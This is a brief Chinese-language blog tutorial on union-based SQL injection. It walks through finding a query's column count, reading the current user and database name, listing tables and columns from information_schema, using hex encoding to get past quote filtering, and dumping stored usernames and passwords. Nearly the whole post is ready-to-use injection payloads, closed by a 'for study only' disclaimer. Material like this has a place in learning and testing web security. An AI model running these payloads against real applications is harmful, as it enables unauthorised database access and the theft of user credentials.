sql注入

    科技2022-07-14  125

    sql注入之联合注入

    1、 首先一个sql查询语句中一定是查询表的内容,联合注入首先必须知道表内字段数,判断表内字段数语句:

    select * from user where username="{$input}";)注入语句: ' order by 1#(--+)

    循环操作改内容

    select * from user where username="{$input}";)注入语句: ' order by 5#(--+)

    由上图可以看出该数据库字段数为4.

    2·、爆数据库,爆当前用户,当前数据库版本 由该例子来说,首先根据输出的内容判断字段输出位置

    select * from user where username="{$input}";)注入语句:' union select 1,1,4#(--+)

    接下来进行爆内容:

    select * from user where username="{$input}";)注入语句:' union select 1,user(),3,database()#(--+)

    通过以上信息可以看出数据库操作权限是root,数据库是users。

    2、 我们要的是字段数据库内容所以继续爆表

    select * from user where username="{$input}";)注入语句:' union select 1,1,1,table_name from information_schema.tables where table_schema=database()#(--+)

    针对单双引号过滤对齐使用编码绕过:

    select * from user where username="{$input}";)注入语句:' union select 1,1,1,table_name from information_schema.tables where table_schema=0x7573657273#(--+)

    3、 接下来是表中字段进行爆破

    select * from user where username="{$input}";)注入语句:' union select 1,1,1,column_name from information_schema.columns where table_schema=database() and table_name="user"#(--+)

    4、 表的字段内容进行爆破

    select * from user where username="{$input}";)注入语句:' union select 1,username,3, password from user#(--+)

    也可以只显示一条,在实战过程可能只能输出一条结果 巧用 limit(“显示第几条”,“显示条数”)

    select * from user where username="{$input}";)注入语句:' union select 1,username,3, password from user limit 1,1#(--+)

    到此以拿获数据库账号密码!!!

    (菜菜一个不喜勿喷)此文章仅供学习、参考!!!!

    Processed: 0.015, SQL: 8